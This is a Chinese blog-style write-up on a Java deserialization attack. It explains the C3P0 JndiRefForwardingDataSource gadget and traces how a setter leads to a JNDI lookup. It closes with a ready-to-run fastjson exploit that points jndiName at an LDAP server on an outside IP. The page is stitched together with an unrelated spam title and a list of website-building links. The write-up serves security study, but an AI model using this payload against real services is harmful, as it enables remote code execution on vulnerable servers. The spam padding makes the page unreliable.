当前位置: 首页 > news >正文

下列关于网站开发中网站上传做网站用vs还是dw

下列关于网站开发中网站上传,做网站用vs还是dw,网站设计 专业,展示类网站建设目录 简介 原理分析 EXP 前文#xff1a;【Web】浅聊Java反序列化之C3P0——URLClassLoader利用 【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用 简介 出网的情况下#xff0c;这个C3P0的Gadget可以和fastjson#xff0c;Snake YAML , JYAML,Yamlbeans , …目录 简介 原理分析 EXP 前文【Web】浅聊Java反序列化之C3P0——URLClassLoader利用 【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用 简介 出网的情况下这个C3P0的Gadget可以和fastjsonSnake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等配合使用(调用setter和初始化方法) 和hex base的打法相比这条链的利用对FJ反序列化触发的setter方法利用则更为直接 hex base好歹是有个setter设置属性构造方法触发sink来进行攻击jndi的利用干脆用setter把二者全包了 原理分析 就像上面说的一样这个Gadget的核心主要是在setter上因为过于简单粗暴我们采用正向分析的方法去跟一下它 JndiRefForwardingDataSource#setloginTimeout public void setLoginTimeout(int seconds) throws SQLException {this.inner().setLoginTimeout(seconds);} 跟进this.inner() private synchronized DataSource inner() throws SQLException {if (this.cachedInner ! null) {return this.cachedInner;} else {DataSource out this.dereference();if (this.isCaching()) {this.cachedInner out;}return out;}} 这段代码的作用是获取一个 DataSource 对象在需要时从缓存中获取如果没有缓存则创建新的对象并在必要时将其缓存起来  跟进到this.dereference() private DataSource dereference() throws SQLException {Object jndiName this.getJndiName();Hashtable jndiEnv this.getJndiEnv();try {InitialContext ctx;if (jndiEnv ! null) {ctx new InitialContext(jndiEnv);} else {ctx new InitialContext();}if (jndiName instanceof String) {return (DataSource)ctx.lookup((String)jndiName);} else if (jndiName instanceof Name) {return (DataSource)ctx.lookup((Name)jndiName);} else {throw new SQLException(Could not find ConnectionPoolDataSource with JNDI name: jndiName);}} 一眼经典JNDI我们只要控制jndiName的值就能实现jndi注入 jndiName来自this.getJndiName()跟进一下 public Object getJndiName() {return this.jndiName instanceof Name ? ((Name)this.jndiName).clone() : this.jndiName;} 很正常就是获取该类的jndiName属性的值 那么有getter的地方必有setter虽然JndiRefForwardingDataSource这个类本身没有setJndiName但我们在其父类JndiRefDataSourceBase中找到了setJndiName public void setJndiName(Object jndiName) throws PropertyVetoException {Object oldVal this.jndiName;if (!this.eqOrBothNull(oldVal, jndiName)) {this.vcs.fireVetoableChange(jndiName, oldVal, jndiName);}this.jndiName jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;if (!this.eqOrBothNull(oldVal, jndiName)) {this.pcs.firePropertyChange(jndiName, oldVal, jndiName);}} 综合二者就可实现JNDI注入。 EXP 配合fastjson打JndiRefForwardingDataSource package com.c3p0;import com.alibaba.fastjson.JSON;public class FJ {public static void main(String[] args) {String s{ \a\:{ \type\:\java.lang.Class\, \val\:\com.mchange.v2.c3p0.JndiRefForwardingDataSource\ }, \b\:{ \type\:\com.mchange.v2.c3p0.JndiRefForwardingDataSource\, \jndiName\:\ldap://124.222.136.33:1337/#suibian\, \loginTimeout\:0 } };Object object JSON.parse(s);} }
http://www.hkea.cn/news/14451270/

相关文章:

  • 网站域名 空间 是每年都要缴费吗网站构成要素
  • 池州建行网站一流的苏州网站建设
  • 做个电商网站多少钱网站静态化怎么做
  • 免费设计app的网站建设淘宝网站的建设情况
  • 建设银行杭州纪念币预约网站长沙网站设计流程
  • 为什么要做营销型的网站建设广州网站建设50强名单
  • 网站空间配置东莞哪里有做网站的
  • 做网站想要中立设计专业干货推荐网站
  • 微信手机网站三合一画册设计免费模板
  • 做医美设计的网站刷关键词指数
  • 朔州网站建设收费多少福州做公司网站
  • 搜搜网站收录wordpress .htaccess在哪里
  • 网站建设的工作描述自己怎么做装修网站
  • 自己做图片网站房子竣工验收在哪个网站查
  • 做全屏式网站尺寸是多大网站建设的成本有哪些方面
  • 南庄营销网站建设注册公司需要几个人员
  • 个人网站做app上传公司网站建设意见征集
  • 建网站需要多大的宽带赣榆网站制作
  • 金溪做网站电池网站建设 中企动力
  • 网站教程沐浴露营销软文
  • 做网站 不做源码建站网址不安全
  • 义乌网站建设公司排名深建工程建设集团
  • wordpress博客文章美化seo范畴
  • 标准企业网站开发合同当前最新域名
  • 网站关键词怎么布局中国空间站纪念币
  • 赶集网的二级域名网站怎么做建网站 网站内容怎么做
  • 东莞建外贸企业网站企业网站开发协议
  • 网站开发学什么语言郑州网站建设专业公司
  • 要建网站怎么做班级网站界面
  • 杭州网站建设ttmwl制作网站源码